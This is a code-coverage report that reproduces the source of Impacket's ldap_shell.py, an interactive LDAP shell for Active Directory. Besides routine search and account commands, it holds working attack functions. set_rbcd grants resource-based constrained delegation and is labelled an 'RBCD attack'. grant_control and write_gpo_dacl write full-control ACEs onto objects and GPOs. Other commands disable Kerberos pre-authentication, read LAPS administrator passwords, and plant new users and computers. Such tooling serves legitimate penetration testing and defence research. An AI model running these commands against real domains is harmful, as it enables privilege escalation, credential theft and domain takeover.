Coverage for /root/GitHubProjects/impacket/impacket/examples/ldap_shell.py: 8%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/ldap_shell.py : 8%

## 394 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols.

2#

3# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.

4#

5# This software is provided under a slightly modified version

6# of the Apache Software License. See the accompanying LICENSE file

7# for more information.

8#

9# Description:

10# Mini shell using some of the LDAP functionalities of the library

11#

12# Author:

13# Mathieu Gascon-Lefebvre (@mlefebvre)

14#

15 import re

16 import string

17 import sys

18 import cmd

19 import random

20 import ldap3

21 from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM

22 from ldap3.utils.conv import escape_filter_chars

23 from six import PY2

24 import shlex

25 from impacket import LOG

26 from ldap3.protocol.microsoft import security_descriptor_control

27 from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP

28 from impacket.ldap import ldaptypes

29

30

31 class LdapShell(cmd.Cmd):

32 LDAP_MATCHING_RULE_IN_CHAIN = "1.2.840.113556.1.4.1941"

33

34 def __init__(self, tcp_shell, domain_dumper, client):

35 cmd.Cmd.__init__(self, stdin=tcp_shell.stdin, stdout=tcp_shell.stdout)

36

37 if PY2:

38 # switch to unicode.

39 reload(sys) # noqa: F821 pylint:disable=undefined-variable

40 sys.setdefaultencoding('utf8')

41

42 sys.stdout = tcp_shell.stdout

43 sys.stdin = tcp_shell.stdin

44 sys.stderr = tcp_shell.stdout

45 self.use_rawinput = False

46 self.shell = tcp_shell

47

48 self.prompt = '\n# '

49 self.tid = None

50 self.intro = 'Type help for list of commands'

51 self.loggedIn = True

52 self.last_output = None

53 self.completion = []

54 self.client = client

55 self.domain_dumper = domain_dumper

56

57 def emptyline(self):

58 pass

59

60 def onecmd(self, s):

61 ret_val = False

62 try:

63 ret_val = cmd.Cmd.onecmd(self, s)

64 except Exception as e:

65 print(e)

66 LOG.error(e)

67 LOG.debug('Exception info', exc_info=True)

68

69 return ret_val

70

71 def create_empty_sd(self):

72 sd = ldaptypes.SR_SECURITY_DESCRIPTOR()

73 sd['Revision'] = b'\x01'

74 sd['Sbz1'] = b'\x00'

75 sd['Control'] = 32772

76 sd['OwnerSid'] = ldaptypes.LDAP_SID()

77 # BUILTIN\Administrators

78 sd['OwnerSid'].fromCanonical('S-1-5-32-544')

79 sd['GroupSid'] = b''

80 sd['Sacl'] = b''

81 acl = ldaptypes.ACL()

82 acl['AclRevision'] = 4

83 acl['Sbz1'] = 0

84 acl['Sbz2'] = 0

85 acl.aces = []

86 sd['Dacl'] = acl

87 return sd

88

89 def create_allow_ace(self, sid):

90 nace = ldaptypes.ACE()

91 nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE

92 nace['AceFlags'] = 0x00

93 acedata = ldaptypes.ACCESS_ALLOWED_ACE()

94 acedata['Mask'] = ldaptypes.ACCESS_MASK()

95 acedata['Mask']['Mask'] = 983551 # Full control

96 acedata['Sid'] = ldaptypes.LDAP_SID()

97 acedata['Sid'].fromCanonical(sid)

98 nace['Ace'] = acedata

99 return nace

100

101 def do_write_gpo_dacl(self, line):

102 args = shlex.split(line)

103 print ("Adding %s to GPO with GUID %s" % (args[0], args[1]))

104 if len(args) != 2:

105 raise Exception("A samaccountname and GPO sid are required.")

106

107 tgtUser = args[0]

108 gposid = args[1]

109 self.client.search(self.domain_dumper.root, '(&(objectclass=person)(sAMAccountName=%s))' % tgtUser, attributes=['objectSid'])

110 if len( self.client.entries) <= 0:

111 raise Exception("Didnt find the given user")

112

113 user = self.client.entries[0]

114

115 controls = security_descriptor_control(sdflags=0x04)

116 self.client.search(self.domain_dumper.root, '(&(objectclass=groupPolicyContainer)(name=%s))' % gposid, attributes=['objectSid','nTSecurityDescriptor'], controls=controls)

117

118 if len( self.client.entries) <= 0:

119 raise Exception("Didnt find the given gpo")

120 gpo = self.client.entries[0]

121

122 secDescData = gpo['nTSecurityDescriptor'].raw_values[0]

123 secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

124 newace = self.create_allow_ace(str(user['objectSid']))

125 secDesc['Dacl']['Data'].append(newace)

126 data = secDesc.getData()

127

128 self.client.modify(gpo.entry_dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)

129 if self.client.result["result"] == 0:

130 print('LDAP server claims to have taken the secdescriptor. Have fun')

131 else:

132 raise Exception("Something wasnt right: %s" %str(self.client.result['description']))

133

134 def do_add_computer(self, line):

135 args = shlex.split(line)

136

137 if not self.client.server.ssl:

138 print("Error adding a new computer with LDAP requires LDAPS.")

139

140 if len(args) != 1 and len(args) != 2:

141 raise Exception("Error expected a computer name and an optional password argument.")

142

143 computer_name = args[0]

144 if not computer_name.endswith('$'):

145 computer_name += '$'

146

147 print("Attempting to add a new computer with the name: %s" % computer_name)

148

149 password = ""

150 if len(args) == 1:

151 password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))

152 else:

153 password = args[1]

154

155 domain_dn = self.domain_dumper.root

156 domain = re.sub(',DC=', '.', domain_dn[domain_dn.find('DC='):], flags=re.I)[3:]

157

158 print("Inferred Domain DN: %s" % domain_dn)

159 print("Inferred Domain Name: %s" % domain)

160

161 computer_hostname = computer_name[:-1] # Remove $ sign

162 computer_dn = "CN=%s,CN=Computers,%s" % (computer_hostname, self.domain_dumper.root)

163 print("New Computer DN: %s" % computer_dn)

164

165 spns = [

166 'HOST/%s' % computer_hostname,

167 'HOST/%s.%s' % (computer_hostname, domain),

168 'RestrictedKrbHost/%s' % computer_hostname,

169 'RestrictedKrbHost/%s.%s' % (computer_hostname, domain),

170 ]

171 ucd = {

172 'dnsHostName': '%s.%s' % (computer_hostname, domain),

173 'userAccountControl': 4096,

174 'servicePrincipalName': spns,

175 'sAMAccountName': computer_name,

176 'unicodePwd': '"{}"'.format(password).encode('utf-16-le')

177 }

178

179 res = self.client.add(computer_dn, ['top','person','organizationalPerson','user','computer'], ucd)

180

181 if not res:

182 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM:

183 print("Failed to add a new computer. The server denied the operation.")

184 else:

185 print('Failed to add a new computer: %s' % str(self.client.result))

186 else:

187 print('Adding new computer with username: %s and password: %s result: OK' % (computer_name, password))

188

189 def do_add_user(self, line):

190 args = shlex.split(line)

191 if len(args) == 0:

192 raise Exception("A username is required.")

193

194 new_user = args[0]

195 if len(args) == 1:

196 parent_dn = 'CN=Users,%s' % self.domain_dumper.root

197 else:

198 parent_dn = args[1]

199

200 new_password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))

201

202 new_user_dn = 'CN=%s,%s' % (new_user, parent_dn)

203 ucd = {

204 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % self.domain_dumper.root,

205 'distinguishedName': new_user_dn,

206 'cn': new_user,

207 'sn': new_user,

208 'givenName': new_user,

209 'displayName': new_user,

210 'name': new_user,

211 'userAccountControl': 512,

212 'accountExpires': '0',

213 'sAMAccountName': new_user,

214 'unicodePwd': '"{}"'.format(new_password).encode('utf-16-le')

215 }

216

217 print('Attempting to create user in: %s', parent_dn)

218 res = self.client.add(new_user_dn, ['top', 'person', 'organizationalPerson', 'user'], ucd)

219 if not res:

220 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:

221 raise Exception('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.')

222 else:

223 raise Exception('Failed to add a new user: %s' % str(self.client.result['description']))

224 else:

225 print('Adding new user with username: %s and password: %s result: OK' % (new_user, new_password))

226

227 def do_add_user_to_group(self, line):

228 user_name, group_name = shlex.split(line)

229

230 user_dn = self.get_dn(user_name)

231 if not user_dn:

232 raise Exception("User not found in LDAP: %s" % user_name)

233

234 group_dn = self.get_dn(group_name)

235 if not group_dn:

236 raise Exception("Group not found in LDAP: %s" % group_name)

237

238 user_name = user_dn.split(',')[0][3:]

239 group_name = group_dn.split(',')[0][3:]

240

241 res = self.client.modify(group_dn, {'member': [(ldap3.MODIFY_ADD, [user_dn])]})

242 if res:

243 print('Adding user: %s to group %s result: OK' % (user_name, group_name))

244 else:

245 raise Exception('Failed to add user to %s group: %s' % (group_name, str(self.client.result['description'])))

246

247 def do_change_password(self, line):

248 args = shlex.split(line)

249

250 if len(args) != 1 and len(args) != 2:

251 raise Exception("Error expected a username and an optional password argument. Instead %d arguments were provided" % len(args))

252

253 user_dn = self.get_dn(args[0])

254 print("Got User DN: " + user_dn)

255

256 password = ""

257 if len(args) == 1:

258 password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))

259 else:

260 password = args[1]

261

262 print("Attempting to set new password of: %s" % password)

263 success = self.client.extend.microsoft.modify_password(user_dn, password)

264

265 if self.client.result['result'] == 0:

266 print('Password changed successfully!')

267 else:

268 if self.client.result['result'] == 50:

269 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])

270 elif self.client.result['result'] == 19:

271 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])

272 else:

273 raise Exception('The server returned an error: %s', self.client.result['message'])

274

275 def do_clear_rbcd(self, computer_name):

276

277 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(computer_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])

278 if success is False or len(self.client.entries) != 1:

279 raise Exception("Error expected only one search result got %d results", len(self.client.entries))

280

281 target = self.client.entries[0]

282 target_sid = target["objectsid"].value

283 print("Found Target DN: %s" % target.entry_dn)

284 print("Target SID: %s\n" % target_sid)

285

286 sd = self.create_empty_sd()

287

288 self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})

289 if self.client.result['result'] == 0:

290 print('Delegation rights cleared successfully!')

291 else:

292 if self.client.result['result'] == 50:

293 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])

294 elif self.client.result['result'] == 19:

295 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])

296 else:

297 raise Exception('The server returned an error: %s', self.client.result['message'])

298

299 def do_dump(self, line):

300 print('Dumping domain info...')

301 self.stdout.flush()

302 self.domain_dumper.domainDump()

303 print('Domain info dumped into lootdir!')

304

305 def do_disable_account(self, username):

306 self.toggle_account_enable_disable(username, False)

307

308 def do_enable_account(self, username):

309 self.toggle_account_enable_disable(username, True)

310

311 def toggle_account_enable_disable(self, user_name, enable):

312 UF_ACCOUNT_DISABLE = 2

313 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(user_name), attributes=['objectSid', 'userAccountControl'])

314

315 if len(self.client.entries) != 1:

316 raise Exception("Error expected only one search result got %d results", len(self.client.entries))

317

318 user_dn = self.client.entries[0].entry_dn

319 if not user_dn:

320 raise Exception("User not found in LDAP: %s" % user_name)

321

322 entry = self.client.entries[0]

323 userAccountControl = entry["userAccountControl"].value

324

325 print("Original userAccountControl: %d" % userAccountControl)

326

327 if enable:

328 userAccountControl = userAccountControl & ~UF_ACCOUNT_DISABLE

329 else:

330 userAccountControl = userAccountControl | UF_ACCOUNT_DISABLE

331

332 self.client.modify(user_dn, {'userAccountControl':(ldap3.MODIFY_REPLACE, [userAccountControl])})

333

334 if self.client.result['result'] == 0:

335 print("Updated userAccountControl attribute successfully")

336 else:

337 if self.client.result['result'] == 50:

338 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])

339 elif self.client.result['result'] == 19:

340 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])

341 else:

342 raise Exception('The server returned an error: %s', self.client.result['message'])

343

344 def do_search(self, line):

345 arguments = shlex.split(line)

346 if len(arguments) == 0:

347 raise Exception("A query is required.")

348

349 filter_attributes = ['name', 'distinguishedName', 'sAMAccountName']

350 attributes = filter_attributes[:]

351 attributes.append('objectSid')

352 for argument in arguments[1:]:

353 attributes.append(argument)

354

355 search_query = "".join("(%s=*%s*)" % (attribute, escape_filter_chars(arguments[0])) for attribute in filter_attributes)

356 self.search('(|%s)' % search_query, *attributes)

357

358 def do_set_dontreqpreauth(self, line):

359 UF_DONT_REQUIRE_PREAUTH = 4194304

360

361 args = shlex.split(line)

362 if len(args) != 2:

363 raise Exception("Username (SAMAccountName) and true/false flag required (e.g. jsmith true).")

364

365 user_name = args[0]

366 flag_str = args[1]

367 flag = False

368

369 if flag_str.lower() == "true":

370 flag = True

371 elif flag_str.lower() == "false":

372 flag = False

373 else:

374 raise Exception("The specified flag must be either true or false")

375

376 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(user_name), attributes=['objectSid', 'userAccountControl'])

377 if len(self.client.entries) != 1:

378 raise Exception("Error expected only one search result got %d results", len(self.client.entries))

379

380 user_dn = self.client.entries[0].entry_dn

381 if not user_dn:

382 raise Exception("User not found in LDAP: %s" % user_name)

383

384 entry = self.client.entries[0]

385 userAccountControl = entry["userAccountControl"].value

386 print("Original userAccountControl: %d" % userAccountControl)

387

388 if flag:

389 userAccountControl = userAccountControl | UF_DONT_REQUIRE_PREAUTH

390 else:

391 userAccountControl = userAccountControl & ~UF_DONT_REQUIRE_PREAUTH

392

393 print("Updated userAccountControl: %d" % userAccountControl)

394 self.client.modify(user_dn, {'userAccountControl':(ldap3.MODIFY_REPLACE, [userAccountControl])})

395

396 if self.client.result['result'] == 0:

397 print("Updated userAccountControl attribute successfully")

398 else:

399 if self.client.result['result'] == 50:

400 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])

401 elif self.client.result['result'] == 19:

402 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])

403 else:

404 raise Exception('The server returned an error: %s', self.client.result['message'])

405

406 def do_get_user_groups(self, user_name):

407 user_dn = self.get_dn(user_name)

408 if not user_dn:

409 raise Exception("User not found in LDAP: %s" % user_name)

410

411 self.search('(member:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(user_dn)))

412

413 def do_get_group_users(self, group_name):

414 group_dn = self.get_dn(group_name)

415 if not group_dn:

416 raise Exception("Group not found in LDAP: %s" % group_name)

417

418 self.search('(memberof:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(group_dn)), "sAMAccountName", "name")

419

420 def do_get_laps_password(self, computer_name):

421

422 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(computer_name), attributes=['ms-MCS-AdmPwd'])

423 if len(self.client.entries) != 1:

424 raise Exception("Error expected only one search result got %d results", len(self.client.entries))

425

426 computer = self.client.entries[0]

427 print("Found Computer DN: %s" % computer.entry_dn)

428

429 password = computer["ms-MCS-AdmPwd"].value

430

431 if password is not None:

432 print("LAPS Password: %s" % password)

433 else:

434 print("Unable to Read LAPS Password for Computer")

435

436 def do_grant_control(self, line):

437 args = shlex.split(line)

438

439 if len(args) != 1 and len(args) != 2:

440 raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args))

441

442 controls = security_descriptor_control(sdflags=0x04)

443

444 target_name = args[0]

445 grantee_name = args[1]

446

447 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls)

448 if success is False or len(self.client.entries) != 1:

449 raise Exception("Error expected only one search result got %d results", len(self.client.entries))

450

451 target = self.client.entries[0]

452 target_sid = target["objectSid"].value

453 print("Found Target DN: %s" % target.entry_dn)

454 print("Target SID: %s\n" % target_sid)

455

456 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid'])

457 if success is False or len(self.client.entries) != 1:

458 raise Exception("Error expected only one search result got %d results", len(self.client.entries))

459

460 grantee = self.client.entries[0]

461 grantee_sid = grantee["objectSid"].value

462 print("Found Grantee DN: %s" % grantee.entry_dn)

463 print("Grantee SID: %s" % grantee_sid)

464

465 try:

466 sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['nTSecurityDescriptor'].raw_values[0])

467 except IndexError:

468 sd = self.create_empty_sd()

469

470 sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid))

471 self.client.modify(target.entry_dn, {'nTSecurityDescriptor':[ldap3.MODIFY_REPLACE, [sd.getData()]]}, controls=controls)

472

473 if self.client.result['result'] == 0:

474 print('DACL modified successfully!')

475 print('%s now has control of %s' % (grantee_name, target_name))

476 else:

477 if self.client.result['result'] == 50:

478 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])

479 elif self.client.result['result'] == 19:

480 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])

481 else:

482 raise Exception('The server returned an error: %s', self.client.result['message'])

483

484 def do_set_rbcd(self, line):

485 args = shlex.split(line)

486

487 if len(args) != 1 and len(args) != 2:

488 raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args))

489

490 target_name = args[0]

491 grantee_name = args[1]

492

493 target_sid = args[0]

494 grantee_sid = args[1]

495

496 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])

497 if success is False or len(self.client.entries) != 1:

498 raise Exception("Error expected only one search result got %d results", len(self.client.entries))

499

500 target = self.client.entries[0]

501 target_sid = target["objectSid"].value

502 print("Found Target DN: %s" % target.entry_dn)

503 print("Target SID: %s\n" % target_sid)

504

505 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid'])

506 if success is False or len(self.client.entries) != 1:

507 raise Exception("Error expected only one search result got %d results", len(self.client.entries))

508

509 grantee = self.client.entries[0]

510 grantee_sid = grantee["objectSid"].value

511 print("Found Grantee DN: %s" % grantee.entry_dn)

512 print("Grantee SID: %s" % grantee_sid)

513

514 try:

515 sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['msDS-AllowedToActOnBehalfOfOtherIdentity'].raw_values[0])

516 print('Currently allowed sids:')

517 for ace in sd['Dacl'].aces:

518 print(' %s' % ace['Ace']['Sid'].formatCanonical())

519

520 if ace['Ace']['Sid'].formatCanonical() == grantee_sid:

521 print("Grantee is already permitted to perform delegation to the target host")

522 return

523

524 except IndexError:

525 sd = self.create_empty_sd()

526

527 sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid))

528 self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})

529

530 if self.client.result['result'] == 0:

531 print('Delegation rights modified successfully!')

532 print('%s can now impersonate users on %s via S4U2Proxy' % (grantee_name, target_name))

533 else:

534 if self.client.result['result'] == 50:

535 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])

536 elif self.client.result['result'] == 19:

537 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])

538 else:

539 raise Exception('The server returned an error: %s', self.client.result['message'])

540

541 def search(self, query, *attributes):

542 self.client.search(self.domain_dumper.root, query, attributes=attributes)

543 for entry in self.client.entries:

544 print(entry.entry_dn)

545 for attribute in attributes:

546 value = entry[attribute].value

547 if value:

548 print("%s: %s" % (attribute, entry[attribute].value))

549 if any(attributes):

550 print("---")

551

552 def get_dn(self, sam_name):

553 if "," in sam_name:

554 return sam_name

555

556 try:

557 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(sam_name), attributes=['objectSid'])

558 return self.client.entries[0].entry_dn

559 except IndexError:

560 return None

561

562 def do_exit(self, line):

563 if self.shell is not None:

564 self.shell.close()

565 return True

566

567 def do_help(self, line):

568 print("""

569 add_computer computer [password] - Adds a new computer to the domain with the specified password. Requires LDAPS.

570 add_user new_user [parent] - Creates a new user.

571 add_user_to_group user group - Adds a user to a group.

572 change_password user [password] - Attempt to change a given user's password. Requires LDAPS.

573 clear_rbcd target - Clear the resource based constrained delegation configuration information.

574 disable_account user - Disable the user's account.

575 enable_account user - Enable the user's account.

576 dump - Dumps the domain.

577 search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName.

578 get_user_groups user - Retrieves all groups this user is a member of.

579 get_group_users group - Retrieves all members of a group.

580 get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName).

581 grant_control target grantee - Grant full control of a given target object (sAMAccountName) to the grantee (sAMAccountName).

582 set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false.

583 set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).

584 write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}.

585 exit - Terminates this session.""")

586

587 def do_EOF(self, line):

588 print('Bye!\n')

589 return True